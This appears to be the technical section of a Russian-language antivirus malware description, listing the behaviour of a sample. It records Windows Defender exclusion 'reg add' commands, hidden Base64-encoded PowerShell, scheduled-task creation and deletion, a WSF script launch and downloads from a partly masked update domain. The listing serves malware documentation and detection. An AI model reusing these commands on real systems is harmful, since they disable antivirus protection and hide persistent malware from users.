Техническая информация
- <SYSTEM32>\tasks\gzzywmvzf
- Системный антивирус (Защитник Windows)
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\CngHEGhFU' = '0'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\CngHEGhFU' = '00000000'
- [HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\PCaaUMUhUWLU2' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\PCaaUMUhUWLU2' = '00000000'
- [HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\cuWjFeQCUFUn' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\cuWjFeQCUFUn' = '00000000'
- [HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths] '%TEMP%\onIrkpVRuufVuZyXX' = '00000000'
- [HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\CngHEGhFU' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\vvlhBwzeOCALC' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\wlfdiEjRDQXwsQfgFvR' = '00000000'
- [HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\wlfdiEjRDQXwsQfgFvR' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions' = '00000000'
- [HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%TEMP%\onIrkpVRuufVuZyXX' = '00000000'
- [HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions' = '00000000'
- [HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\vvlhBwzeOCALC' = '00000000'
- [HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ALLUSERSPROFILE%\jXxZWFfhLSQHVkVB' = '00000000'
- [HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths] '%LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions' = '00000000'
- [HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths] '%ALLUSERSPROFILE%\jXxZWFfhLSQHVkVB' = '00000000'
- [HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\vvlhBwzeOCALC' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\cuWjFeQCUFUn' = '0'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\vvlhBwzeOCALC' = '0'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\wlfdiEjRDQXwsQfgFvR' = '0'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ALLUSERSPROFILE%\jXxZWFfhLSQHVkVB' = '0'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions' = '0'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%TEMP%\onIrkpVRuufVuZyXX' = '0'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\PCaaUMUhUWLU2' = '0'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\Temp\lrJAHpKXXMeIqUJs' = '0'
- [HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\Temp\lrJAHpKXXMeIqUJs' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\Temp\lrJAHpKXXMeIqUJs' = '00000000'
- [HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\CngHEGhFU' = '00000000'
- [HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\PCaaUMUhUWLU2' = '00000000'
- [HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\cuWjFeQCUFUn' = '00000000'
- [HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\wlfdiEjRDQXwsQfgFvR' = '00000000'
- [HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\Temp\lrJAHpKXXMeIqUJs' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ALLUSERSPROFILE%\jXxZWFfhLSQHVkVB' = '00000000'
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%TEMP%\onIrkpVRuufVuZyXX' = '00000000'
- '%WINDIR%\temp\oxwdjogpbbvnaydy\qvnjsw.exe' /S /UPDATE
- %WINDIR%\temp\oxwdjogpbbvnaydy\qvnjsw.exe
- <SYSTEM32>\grouppolicy\machine\registry.pol
- <SYSTEM32>\grouppolicy\gpt.ini
- %ALLUSERSPROFILE%\ntuser.pol
- %HOMEPATH%\ntuser.pol
- %WINDIR%\temp\lrjahpkxxmeiqujs\saurkbro\gkipmyrlwzfjamac.wsf
- <SYSTEM32>\tasks\gzzywmvzf
- %WINDIR%\temp\lrjahpkxxmeiqujs\saurkbro\gkipmyrlwzfjamac.wsf
- 'te###pdate.info':80
- http://www.te###pdate.info/updates/ya/wrtzr_ytab_a_1/win/version.txt
- http://www.te###pdate.info/updates/ya/wrtzr_ytab_a_1/win/update_e.jpg
- DNS ASK te###pdate.info
- '%WINDIR%\syswow64\wscript.exe' "%WINDIR%\Temp\lrJAHpKXXMeIqUJs\SaurKBRO\GKIpMYRlwZFJAmaC.wsf"
- '<SYSTEM32>\gpupdate.exe' /force' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==' (со скрытым окном)
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "gzZywMVZf" /SC once /ST 07:49:26 /F /RU "user" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZ...
- '%WINDIR%\syswow64\schtasks.exe' /END /TN "EZbRezLdfVxQzCjBu2"
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "EZbRezLdfVxQzCjBu2"
- '%WINDIR%\syswow64\schtasks.exe' /END /TN "WCHTgQtuCZdcJqrbU"
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "WCHTgQtuCZdcJqrbU"
- '%WINDIR%\syswow64\schtasks.exe' /END /TN "WCHTgQtuCZdcJqrbU2"
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "WCHTgQtuCZdcJqrbU2"
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "HFghayUsYjVHipZJV"
- '%WINDIR%\syswow64\schtasks.exe' /END /TN "hhDWyxjKRgOiujRta"
- '%WINDIR%\syswow64\schtasks.exe' /END /TN "HFghayUsYjVHipZJV2"
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "HFghayUsYjVHipZJV2"
- '%WINDIR%\syswow64\schtasks.exe' /END /TN "yvxdksJCwtixJwxxP"
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "yvxdksJCwtixJwxxP"
- '%WINDIR%\syswow64\schtasks.exe' /END /TN "yvxdksJCwtixJwxxP2"
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "yvxdksJCwtixJwxxP2"
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "EZbRezLdfVxQzCjBu"
- '%WINDIR%\syswow64\schtasks.exe' /END /TN "EZbRezLdfVxQzCjBu"
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "CBQsBswClAbjIpllQ2"
- '%WINDIR%\syswow64\schtasks.exe' /END /TN "CBQsBswClAbjIpllQ2"
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "CBQsBswClAbjIpllQ"
- '%WINDIR%\syswow64\schtasks.exe' /END /TN "CBQsBswClAbjIpllQ"
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "hhDWyxjKRgOiujRta2"
- '%WINDIR%\syswow64\schtasks.exe' /END /TN "hhDWyxjKRgOiujRta2"
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "hhDWyxjKRgOiujRta"
- '%WINDIR%\syswow64\schtasks.exe' /END /TN "HFghayUsYjVHipZJV"
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "KhVGDRLooqjrcacDX2"
- '%WINDIR%\syswow64\schtasks.exe' /END /TN "KhVGDRLooqjrcacDX2"
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "KhVGDRLooqjrcacDX"
- '%WINDIR%\syswow64\schtasks.exe' /END /TN "KhVGDRLooqjrcacDX"
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "MGgpKPSoMBxVaVkkJ2"
- '%WINDIR%\syswow64\schtasks.exe' /END /TN "MGgpKPSoMBxVaVkkJ2"
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "MGgpKPSoMBxVaVkkJ"
- '%WINDIR%\syswow64\schtasks.exe' /END /TN "qitnsJwlXyIenIfZE"
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "YjDutpXTIJGKlmjNw2"
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "mXVfoRxryunHeKVuW2"
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "qitnsJwlXyIenIfZE2"
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "KIpfTYBxdQMMKgFeZ"
- '%WINDIR%\syswow64\schtasks.exe' /END /TN "KIpfTYBxdQMMKgFeZ2"
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "KIpfTYBxdQMMKgFeZ2"
- '%WINDIR%\syswow64\schtasks.exe' /END /TN "FKYdsEymxOGTMbaOY"
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "FKYdsEymxOGTMbaOY"
- '%WINDIR%\syswow64\schtasks.exe' /END /TN "FKYdsEymxOGTMbaOY2"
- '%WINDIR%\syswow64\schtasks.exe' /END /TN "lkzyacGbRxFfWHoKQ"
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "qitnsJwlXyIenIfZE"
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "lkzyacGbRxFfWHoKQ"
- '%WINDIR%\syswow64\schtasks.exe' /END /TN "lkzyacGbRxFfWHoKQ2"
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "lkzyacGbRxFfWHoKQ2"
- '%WINDIR%\syswow64\schtasks.exe' /END /TN "mXVfoRxryunHeKVuW"
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "mXVfoRxryunHeKVuW"
- '%WINDIR%\syswow64\schtasks.exe' /END /TN "mXVfoRxryunHeKVuW2"
- '%WINDIR%\syswow64\schtasks.exe' /END /TN "KIpfTYBxdQMMKgFeZ"
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "PuPYMSyHVyHjKhzwj2"
- '%WINDIR%\syswow64\schtasks.exe' /END /TN "PuPYMSyHVyHjKhzwj2"
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "PuPYMSyHVyHjKhzwj"
- '%WINDIR%\syswow64\schtasks.exe' /END /TN "PuPYMSyHVyHjKhzwj"
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "wkHVkCNmZrKDWUaJY2"
- '%WINDIR%\syswow64\schtasks.exe' /END /TN "wkHVkCNmZrKDWUaJY2"
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "wkHVkCNmZrKDWUaJY"
- '%WINDIR%\syswow64\schtasks.exe' /END /TN "wkHVkCNmZrKDWUaJY"
- '%WINDIR%\syswow64\schtasks.exe' /END /TN "MGgpKPSoMBxVaVkkJ"
- '%WINDIR%\syswow64\schtasks.exe' /END /TN "YjDutpXTIJGKlmjNw2"
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "YjDutpXTIJGKlmjNw"
- '%WINDIR%\syswow64\schtasks.exe' /END /TN "YjDutpXTIJGKlmjNw"
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "vUebVLafdesYLBwlt2"
- '%WINDIR%\syswow64\schtasks.exe' /END /TN "vUebVLafdesYLBwlt2"
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "vUebVLafdesYLBwlt"
- '%WINDIR%\syswow64\schtasks.exe' /END /TN "vUebVLafdesYLBwlt"
- '%WINDIR%\syswow64\schtasks.exe' /END /TN "qitnsJwlXyIenIfZE2"
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "FKYdsEymxOGTMbaOY2"
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "SCowXueUedhfTwxdT2"
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "iBrQMVGBlzLJBShsX"
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\CngHEGhFU" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\PCaaUMUhUWLU2" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\PCaaUMUhUWLU2" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\cuWjFeQCUFUn" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\cuWjFeQCUFUn" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\vvlhBwzeOCALC" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\wlfdiEjRDQXwsQfgFvR" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\lrJAHpKXXMeIqUJs" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\wlfdiEjRDQXwsQfgFvR" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ALLUSERSPROFILE%\jXxZWFfhLSQHVkVB" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ALLUSERSPROFILE%\jXxZWFfhLSQHVkVB" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%TEMP%\onIrkpVRuufVuZyXX" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\CngHEGhFU" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\cmd.exe' /C copy nul "%WINDIR%\Temp\lrJAHpKXXMeIqUJs\SaurKBRO\GKIpMYRlwZFJAmaC.wsf"
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\lrJAHpKXXMeIqUJs" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\lrJAHpKXXMeIqUJs" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\lrJAHpKXXMeIqUJs" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\lrJAHpKXXMeIqUJs" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\lrJAHpKXXMeIqUJs" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\lrJAHpKXXMeIqUJs" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\lrJAHpKXXMeIqUJs" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\vvlhBwzeOCALC" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "gzZywMVZf"
- '<SYSTEM32>\svchost.exe' -k secsvcs
- '<SYSTEM32>\gpscript.exe' /RefreshSystemParam
- '<SYSTEM32>\gpupdate.exe' /force
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
- '<SYSTEM32>\taskeng.exe' {598241EC-9C23-467F-B1BB-4B57EF46ADE8} S-1-5-21-3150914307-1777937420-491476919-1000:wmhytkhc\user:Interactive:[1]
- '%WINDIR%\syswow64\schtasks.exe' /run /I /tn "gzZywMVZf"
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%TEMP%\onIrkpVRuufVuZyXX" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\wlfdiEjRDQXwsQfgFvR" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "SCowXueUedhfTwxdT"
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\CngHEGhFU" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "NumxyonUHolklaVdW2"
- '%WINDIR%\syswow64\schtasks.exe' /END /TN "twuPHZMMNHTjuLYWN"
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "twuPHZMMNHTjuLYWN"
- '%WINDIR%\syswow64\schtasks.exe' /END /TN "twuPHZMMNHTjuLYWN2"
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "twuPHZMMNHTjuLYWN2"
- '%WINDIR%\syswow64\schtasks.exe' /END /TN "iBrQMVGBlzLJBShsX"
- '%WINDIR%\syswow64\schtasks.exe' /END /TN "iBrQMVGBlzLJBShsX2"
- '<SYSTEM32>\raserver.exe' /offerraupdate
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "iBrQMVGBlzLJBShsX2"
- '%WINDIR%\syswow64\schtasks.exe' /END /TN "IIZYTNBXUexcHGEif"
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "IIZYTNBXUexcHGEif"
- '%WINDIR%\syswow64\schtasks.exe' /END /TN "IIZYTNBXUexcHGEif2"
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "IIZYTNBXUexcHGEif2"
- '%WINDIR%\syswow64\schtasks.exe' /END /TN "SCowXueUedhfTwxdT"
- '%WINDIR%\syswow64\schtasks.exe' /END /TN "NumxyonUHolklaVdW2"
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "NumxyonUHolklaVdW"
- '%WINDIR%\syswow64\schtasks.exe' /END /TN "NumxyonUHolklaVdW"
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%TEMP%\onIrkpVRuufVuZyXX" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%TEMP%\onIrkpVRuufVuZyXX" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ALLUSERSPROFILE%\jXxZWFfhLSQHVkVB" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ALLUSERSPROFILE%\jXxZWFfhLSQHVkVB" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\schtasks.exe' /END /TN "SCowXueUedhfTwxdT2"
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\wlfdiEjRDQXwsQfgFvR" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\vvlhBwzeOCALC" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\vvlhBwzeOCALC" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\cuWjFeQCUFUn" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\cuWjFeQCUFUn" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\PCaaUMUhUWLU2" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\PCaaUMUhUWLU2" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\CngHEGhFU" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\schtasks.exe' /END /TN "ZvOdnRJCAIlHDrSVW"